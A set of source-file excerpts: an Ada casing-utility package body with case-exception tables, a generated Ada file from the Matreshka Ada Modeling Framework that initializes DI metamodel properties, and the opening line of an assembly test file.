Str : String;
Read_Only : Boolean);
-- Add Str exception in HTable
procedure Remove_Exception (HTable : Exceptions_Table; Str : String);
-- Remove str exception from the HTable
function Mixed_Case
(Image : Wide_Wide_String;
Smart : Boolean := False) return Wide_Wide_String;
-- The same as one in package specification, but on Wide_Wide_String.
----------------
-- Mixed_Case --
----------------
function Mixed_Case
(Image : Wide_Wide_String;
Smart : Boolean := False) return Wide_Wide_String
is
package Latin_1 renames Ada.Characters.Wide_Wide_Latin_1;
Do_Upper : Boolean;
C : Wide_Wide_Character;
Result : Unbounded_Wide_Wide_String;
begin
if Image'Length = 0 then
return Image;
end if;
Do_Upper := True;
for Index in Image'Range loop
C := Image (Index);
if C = '.'
or else C = '_'
or else C = ' '
or else C = '('
or else C = ')'
or else C = '+'
or else C = '-'
or else C = '*'
or else C = '/'
or else C = ','
or else C = ';'
or else C = '''
or else C = Latin_1.HT
or else C = Latin_1.LF
or else C = Latin_1.CR
then
Do_Upper := True;
Append (Result, C);
else
if Do_Upper then
Append (Result, Ada.Wide_Wide_Characters.Handling.To_Upper (C));
elsif not Smart then
Append (Result, To_Lower (C));
else
Append (Result, C);
end if;
Do_Upper := False;
end if;
end loop;
return To_Wide_Wide_String (Result);
end Mixed_Case;
----------------
-- Mixed_Case --
----------------
function Mixed_Case
(S : UTF8_String; Smart : Boolean := False) return UTF8_String
is
Image : constant Wide_Wide_String := Decode (S);
begin
return Encode (Mixed_Case (Image, Smart));
end Mixed_Case;
---------------
-- Set_Case --
---------------
function Set_Case
(C : Casing_Exceptions;
Word : UTF8_String;
Casing : Casing_Type) return UTF8_String
is
function Set_Substring_Exception
(Word : Wide_Wide_String) return UTF8_String;
-- Apply substring exception to word if possible.
-----------------------------
-- Set_Substring_Exception --
-----------------------------
function Set_Substring_Exception
(Word : Wide_Wide_String) return UTF8_String
is
procedure Apply (Substring : Wide_Wide_String);
-- Check if a substring exception exists for this substring and
-- apply it.
Result : Unbounded_Wide_Wide_String;
-----------
-- Apply --
-----------
procedure Apply (Substring : Wide_Wide_String) is
-- Set L_Str with the key for Str in the exception hash table
L_Word : constant Wide_Wide_String := To_Lower (Substring);
Pos : Cursor;
begin
Pos := C.S.Find (L_Word);
if Has_Element (Pos) then
Append (Result, Element (Pos).Word);
else
Append (Result, Substring);
end if;
end Apply;
First : Natural := Word'First - 1;
begin
if C.S = null then
return Encode (Word);
end if;
-- Look for all substring in this word
for K in Word'Range loop
if Word (K) = '_' then
Apply (Word (First + 1 .. K - 1));
First := K;
Append (Result, '_');
end if;
end loop;
-- Apply to the last one
Apply (Word (First + 1 .. Word'Last));
return Encode (To_Wide_Wide_String (Result));
end Set_Substring_Exception;
Image : constant Wide_Wide_String := Decode (Word);
L_Str : constant Wide_Wide_String := To_Lower (Image);
N : Cursor;
begin
if Casing = Unchanged then
-- Nothing to do in this case
return Word;
end if;
-- Now we check for the case exception for this word. If found we
-- just return the record casing, if not set we set the word casing
-- according to the rule set in Casing.
if C.E /= null then
N := C.E.Find (L_Str);
end if;
if not Has_Element (N) then
-- No case exception for this word, apply standard rules
case Casing is
when Unchanged =>
return Set_Substring_Exception (Image);
when Upper =>
return Set_Substring_Exception (To_Upper (Image));
when Lower =>
return Set_Substring_Exception (L_Str);
when Mixed =>
return Set_Substring_Exception (Mixed_Case (Image));
when Smart_Mixed =>
return Set_Substring_Exception
(Mixed_Case (Image, Smart => True));
end case;
else
-- We have found a case exception
return Encode (Element (N).Word);
end if;
end Set_Case;
-------------------
-- Add_Exception --
-------------------
procedure Add_Exception
(HTable : Exceptions_Table;
Str : String;
Read_Only : Boolean)
is
Image : constant Wide_Wide_String := Decode (Str);
begin
HTable.Include (To_Lower (Image), (Image'Length, Read_Only, Image));
end Add_Exception;
procedure Add_Exception
(C : in out Casing_Exceptions;
Word : String;
Read_Only : Boolean) is
begin
Add_Exception (C.E, Word, Read_Only);
end Add_Exception;
-----------------------------
-- Add_Substring_Exception --
-----------------------------
procedure Add_Substring_Exception
(C : in out Casing_Exceptions;
Substring : String;
Read_Only : Boolean) is
begin
Add_Exception (C.S, Substring, Read_Only);
end Add_Substring_Exception;
----------------------
-- Remove_Exception --
----------------------
procedure Remove_Exception
(HTable : Exceptions_Table;
Str : String)
is
Image : constant Wide_Wide_String := Decode (Str);
L_Str : constant Wide_Wide_String := To_Lower (Image);
Pos : Cursor := HTable.Find (L_Str);
begin
if Has_Element (Pos) and then not Element (Pos).Read_Only then
HTable.Delete (Pos);
end if;
end Remove_Exception;
procedure Remove_Exception (C : in out Casing_Exceptions; Word : String) is
begin
Remove_Exception (C.E, Word);
end Remove_Exception;
--------------------------------
-- Remove_Substring_Exception --
--------------------------------
procedure Remove_Substring_Exception
(C : in out Casing_Exceptions;
Substring : String) is
begin
Remove_Exception (C.S, Substring);
end Remove_Substring_Exception;
-------------
-- Destroy --
-------------
procedure Destroy (C : in out Casing_Exceptions) is
procedure Unchecked_Free is new Ada.Unchecked_Deallocation
(Map, Exceptions_Table);
begin
-- Word exceptions
if C.E /= null then
C.E.Clear;
Unchecked_Free (C.E);
end if;
-- Substring exceptions
if C.S /= null then
C.S.Clear;
Unchecked_Free (C.S);
end if;
end Destroy;
end Case_Handling;
|
source/amf/dd/amf-internals-tables-di_metamodel-properties.adb | svn2github/matreshka | 24 | 25015 | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2012, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- This file is generated, don't edit it.
------------------------------------------------------------------------------
with AMF.CMOF;
with AMF.Internals.Tables.CMOF_Attributes;
with AMF.Internals.Tables.DI_String_Data_00;
with Matreshka.Internals.Strings;
package body AMF.Internals.Tables.DI_Metamodel.Properties is
----------------
-- Initialize --
----------------
procedure Initialize is
begin
Initialize_1;
Initialize_2;
Initialize_3;
Initialize_4;
Initialize_5;
Initialize_6;
Initialize_7;
Initialize_8;
Initialize_9;
Initialize_10;
Initialize_11;
Initialize_12;
Initialize_13;
Initialize_14;
Initialize_15;
Initialize_16;
Initialize_17;
Initialize_18;
Initialize_19;
Initialize_20;
Initialize_21;
Initialize_22;
Initialize_23;
Initialize_24;
Initialize_25;
Initialize_26;
Initialize_27;
Initialize_28;
Initialize_29;
Initialize_30;
Initialize_31;
Initialize_32;
Initialize_33;
Initialize_34;
Initialize_35;
Initialize_36;
Initialize_37;
Initialize_38;
Initialize_39;
Initialize_40;
Initialize_41;
Initialize_42;
Initialize_43;
Initialize_44;
Initialize_45;
Initialize_46;
Initialize_47;
Initialize_48;
Initialize_49;
Initialize_50;
Initialize_51;
Initialize_52;
Initialize_53;
end Initialize;
------------------
-- Initialize_1 --
------------------
procedure Initialize_1 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Abstract (Base + 1, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 1,
AMF.Internals.Tables.DI_String_Data_00.MS_0018'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 1, (Is_Empty => True));
end Initialize_1;
------------------
-- Initialize_2 --
------------------
procedure Initialize_2 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Abstract (Base + 2, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 2,
AMF.Internals.Tables.DI_String_Data_00.MS_0004'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 2, (Is_Empty => True));
end Initialize_2;
------------------
-- Initialize_3 --
------------------
procedure Initialize_3 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Abstract (Base + 3, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 3,
AMF.Internals.Tables.DI_String_Data_00.MS_002C'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 3, (Is_Empty => True));
end Initialize_3;
------------------
-- Initialize_4 --
------------------
procedure Initialize_4 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Abstract (Base + 4, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 4,
AMF.Internals.Tables.DI_String_Data_00.MS_002B'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 4, (Is_Empty => True));
end Initialize_4;
------------------
-- Initialize_5 --
------------------
procedure Initialize_5 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Abstract (Base + 5, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 5,
AMF.Internals.Tables.DI_String_Data_00.MS_0029'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 5, (Is_Empty => True));
end Initialize_5;
------------------
-- Initialize_6 --
------------------
procedure Initialize_6 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Composite (Base + 6, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Derived (Base + 6, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Derived_Union (Base + 6, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Read_Only (Base + 6, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Lower (Base + 6, (False, 0));
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 6,
AMF.Internals.Tables.DI_String_Data_00.MS_0003'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Upper (Base + 6, (False, (Unlimited => True)));
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 6, (False, AMF.CMOF.Public_Visibility));
end Initialize_6;
------------------
-- Initialize_7 --
------------------
procedure Initialize_7 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Default
(Base + 7,
Matreshka.Internals.Strings.Shared_Empty'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 7,
AMF.Internals.Tables.DI_String_Data_00.MS_0030'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 7, (False, AMF.CMOF.Public_Visibility));
end Initialize_7;
------------------
-- Initialize_8 --
------------------
procedure Initialize_8 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Default
(Base + 8,
Matreshka.Internals.Strings.Shared_Empty'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 8,
AMF.Internals.Tables.DI_String_Data_00.MS_0015'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 8, (False, AMF.CMOF.Public_Visibility));
end Initialize_8;
------------------
-- Initialize_9 --
------------------
procedure Initialize_9 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Default
(Base + 9,
AMF.Internals.Tables.DI_String_Data_00.MS_0014'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 9,
AMF.Internals.Tables.DI_String_Data_00.MS_0009'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 9, (False, AMF.CMOF.Public_Visibility));
end Initialize_9;
-------------------
-- Initialize_10 --
-------------------
procedure Initialize_10 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Composite (Base + 10, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Lower (Base + 10, (False, 0));
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 10,
AMF.Internals.Tables.DI_String_Data_00.MS_0011'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 10, (False, AMF.CMOF.Public_Visibility));
end Initialize_10;
-------------------
-- Initialize_11 --
-------------------
procedure Initialize_11 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Derived (Base + 11, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Derived_Union (Base + 11, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Read_Only (Base + 11, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Lower (Base + 11, (False, 0));
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 11,
AMF.Internals.Tables.DI_String_Data_00.MS_0019'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 11, (False, AMF.CMOF.Public_Visibility));
end Initialize_11;
-------------------
-- Initialize_12 --
-------------------
procedure Initialize_12 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Derived (Base + 12, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Derived_Union (Base + 12, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Read_Only (Base + 12, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Lower (Base + 12, (False, 0));
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 12,
AMF.Internals.Tables.DI_String_Data_00.MS_0024'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 12, (False, AMF.CMOF.Public_Visibility));
end Initialize_12;
-------------------
-- Initialize_13 --
-------------------
procedure Initialize_13 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Lower (Base + 13, (False, 0));
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 13,
AMF.Internals.Tables.DI_String_Data_00.MS_000D'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 13, (False, AMF.CMOF.Public_Visibility));
end Initialize_13;
-------------------
-- Initialize_14 --
-------------------
procedure Initialize_14 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Derived (Base + 14, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Derived_Union (Base + 14, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Read_Only (Base + 14, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 14,
AMF.Internals.Tables.DI_String_Data_00.MS_000C'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 14, (False, AMF.CMOF.Public_Visibility));
end Initialize_14;
-------------------
-- Initialize_15 --
-------------------
procedure Initialize_15 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Derived (Base + 15, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Derived_Union (Base + 15, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Read_Only (Base + 15, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 15,
AMF.Internals.Tables.DI_String_Data_00.MS_001C'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 15, (False, AMF.CMOF.Public_Visibility));
end Initialize_15;
-------------------
-- Initialize_16 --
-------------------
procedure Initialize_16 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Ordered (Base + 16, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Unique (Base + 16, False);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Lower (Base + 16, (False, 0));
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 16,
AMF.Internals.Tables.DI_String_Data_00.MS_0016'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Upper (Base + 16, (False, (Unlimited => True)));
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 16, (False, AMF.CMOF.Public_Visibility));
end Initialize_16;
-------------------
-- Initialize_17 --
-------------------
procedure Initialize_17 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Lower (Base + 17, (False, 0));
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 17,
AMF.Internals.Tables.DI_String_Data_00.MS_000E'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 17, (False, AMF.CMOF.Public_Visibility));
end Initialize_17;
-------------------
-- Initialize_18 --
-------------------
procedure Initialize_18 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 18,
AMF.Internals.Tables.DI_String_Data_00.MS_002A'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 18, (False, AMF.CMOF.Private_Visibility));
end Initialize_18;
-------------------
-- Initialize_19 --
-------------------
procedure Initialize_19 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 19,
AMF.Internals.Tables.DI_String_Data_00.MS_0013'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 19, (False, AMF.CMOF.Private_Visibility));
end Initialize_19;
-------------------
-- Initialize_20 --
-------------------
procedure Initialize_20 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 20,
AMF.Internals.Tables.DI_String_Data_00.MS_0028'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 20, (False, AMF.CMOF.Private_Visibility));
end Initialize_20;
-------------------
-- Initialize_21 --
-------------------
procedure Initialize_21 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 21,
AMF.Internals.Tables.DI_String_Data_00.MS_002D'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 21, (False, AMF.CMOF.Private_Visibility));
end Initialize_21;
-------------------
-- Initialize_22 --
-------------------
procedure Initialize_22 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 22,
AMF.Internals.Tables.DI_String_Data_00.MS_0021'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 22, (False, AMF.CMOF.Private_Visibility));
end Initialize_22;
-------------------
-- Initialize_23 --
-------------------
procedure Initialize_23 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 23,
AMF.Internals.Tables.DI_String_Data_00.MS_0026'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 23, (False, AMF.CMOF.Private_Visibility));
end Initialize_23;
-------------------
-- Initialize_24 --
-------------------
procedure Initialize_24 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 24,
AMF.Internals.Tables.DI_String_Data_00.MS_0017'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Uri
(Base + 24,
AMF.Internals.Tables.DI_String_Data_00.MS_0012'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 24, (Is_Empty => True));
end Initialize_24;
-------------------
-- Initialize_25 --
-------------------
procedure Initialize_25 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 25,
AMF.Internals.Tables.DI_String_Data_00.MS_000F'Access);
end Initialize_25;
-------------------
-- Initialize_26 --
-------------------
procedure Initialize_26 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 26, AMF.CMOF.Public_Visibility);
end Initialize_26;
-------------------
-- Initialize_27 --
-------------------
procedure Initialize_27 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 27, AMF.CMOF.Public_Visibility);
end Initialize_27;
-------------------
-- Initialize_28 --
-------------------
procedure Initialize_28 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 28,
AMF.Internals.Tables.DI_String_Data_00.MS_002F'Access);
end Initialize_28;
-------------------
-- Initialize_29 --
-------------------
procedure Initialize_29 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 29,
AMF.Internals.Tables.DI_String_Data_00.MS_000B'Access);
end Initialize_29;
-------------------
-- Initialize_30 --
-------------------
procedure Initialize_30 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 30,
AMF.Internals.Tables.DI_String_Data_00.MS_0023'Access);
end Initialize_30;
-------------------
-- Initialize_31 --
-------------------
procedure Initialize_31 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 31,
AMF.Internals.Tables.DI_String_Data_00.MS_001A'Access);
end Initialize_31;
-------------------
-- Initialize_32 --
-------------------
procedure Initialize_32 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 32,
AMF.Internals.Tables.DI_String_Data_00.MS_0031'Access);
end Initialize_32;
-------------------
-- Initialize_33 --
-------------------
procedure Initialize_33 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 33,
AMF.Internals.Tables.DI_String_Data_00.MS_0034'Access);
end Initialize_33;
-------------------
-- Initialize_34 --
-------------------
procedure Initialize_34 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 34,
AMF.Internals.Tables.DI_String_Data_00.MS_001E'Access);
end Initialize_34;
-------------------
-- Initialize_35 --
-------------------
procedure Initialize_35 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 35,
AMF.Internals.Tables.DI_String_Data_00.MS_0000'Access);
end Initialize_35;
-------------------
-- Initialize_36 --
-------------------
procedure Initialize_36 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 36,
AMF.Internals.Tables.DI_String_Data_00.MS_0025'Access);
end Initialize_36;
-------------------
-- Initialize_37 --
-------------------
procedure Initialize_37 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 37,
AMF.Internals.Tables.DI_String_Data_00.MS_0032'Access);
end Initialize_37;
-------------------
-- Initialize_38 --
-------------------
procedure Initialize_38 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 38,
AMF.Internals.Tables.DI_String_Data_00.MS_001D'Access);
end Initialize_38;
-------------------
-- Initialize_39 --
-------------------
procedure Initialize_39 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 39,
AMF.Internals.Tables.DI_String_Data_00.MS_001B'Access);
end Initialize_39;
-------------------
-- Initialize_40 --
-------------------
procedure Initialize_40 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 40,
AMF.Internals.Tables.DI_String_Data_00.MS_000A'Access);
end Initialize_40;
-------------------
-- Initialize_41 --
-------------------
procedure Initialize_41 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 41,
AMF.Internals.Tables.DI_String_Data_00.MS_0020'Access);
end Initialize_41;
-------------------
-- Initialize_42 --
-------------------
procedure Initialize_42 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 42,
AMF.Internals.Tables.DI_String_Data_00.MS_0022'Access);
end Initialize_42;
-------------------
-- Initialize_43 --
-------------------
procedure Initialize_43 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 43,
AMF.Internals.Tables.DI_String_Data_00.MS_0007'Access);
end Initialize_43;
-------------------
-- Initialize_44 --
-------------------
procedure Initialize_44 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 44,
AMF.Internals.Tables.DI_String_Data_00.MS_0002'Access);
end Initialize_44;
-------------------
-- Initialize_45 --
-------------------
procedure Initialize_45 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Derived (Base + 45, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Derived_Union (Base + 45, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Read_Only (Base + 45, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Lower (Base + 45, (False, 0));
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 45,
AMF.Internals.Tables.DI_String_Data_00.MS_002E'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Upper (Base + 45, (False, (Unlimited => True)));
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 45, (False, AMF.CMOF.Public_Visibility));
end Initialize_45;
-------------------
-- Initialize_46 --
-------------------
procedure Initialize_46 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 46,
AMF.Internals.Tables.DI_String_Data_00.MS_0008'Access);
end Initialize_46;
-------------------
-- Initialize_47 --
-------------------
procedure Initialize_47 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Derived (Base + 47, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Derived_Union (Base + 47, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Read_Only (Base + 47, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Lower (Base + 47, (False, 0));
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 47,
AMF.Internals.Tables.DI_String_Data_00.MS_0001'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Upper (Base + 47, (False, (Unlimited => True)));
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 47, (False, AMF.CMOF.Public_Visibility));
end Initialize_47;
-------------------
-- Initialize_48 --
-------------------
procedure Initialize_48 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Body
(Base + 48,
AMF.Internals.Tables.DI_String_Data_00.MS_001F'Access);
end Initialize_48;
-------------------
-- Initialize_49 --
-------------------
procedure Initialize_49 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Derived (Base + 49, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Derived_Union (Base + 49, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Is_Read_Only (Base + 49, True);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Lower (Base + 49, (False, 0));
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 49,
AMF.Internals.Tables.DI_String_Data_00.MS_0033'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Upper (Base + 49, (False, (Unlimited => True)));
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 49, (False, AMF.CMOF.Public_Visibility));
end Initialize_49;
-------------------
-- Initialize_50 --
-------------------
procedure Initialize_50 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Lower (Base + 50, (False, 0));
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 50,
AMF.Internals.Tables.DI_String_Data_00.MS_0006'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Upper (Base + 50, (False, (Unlimited => True)));
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 50, (False, AMF.CMOF.Public_Visibility));
end Initialize_50;
-------------------
-- Initialize_51 --
-------------------
procedure Initialize_51 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Lower (Base + 51, (False, 0));
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 51,
AMF.Internals.Tables.DI_String_Data_00.MS_0006'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Visibility (Base + 51, (False, AMF.CMOF.Public_Visibility));
end Initialize_51;
-------------------
-- Initialize_52 --
-------------------
procedure Initialize_52 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 52,
AMF.Internals.Tables.DI_String_Data_00.MS_0027'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Value
(Base + 52,
AMF.Internals.Tables.DI_String_Data_00.MS_0005'Access);
end Initialize_52;
-------------------
-- Initialize_53 --
-------------------
procedure Initialize_53 is
begin
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Name
(Base + 53,
AMF.Internals.Tables.DI_String_Data_00.MS_0010'Access);
AMF.Internals.Tables.CMOF_Attributes.Internal_Set_Value
(Base + 53,
AMF.Internals.Tables.DI_String_Data_00.MS_0012'Access);
end Initialize_53;
end AMF.Internals.Tables.DI_Metamodel.Properties;
|
test/paddw.asm | killvxk/AssemblyLine | 147 | 764 | SECTION .text
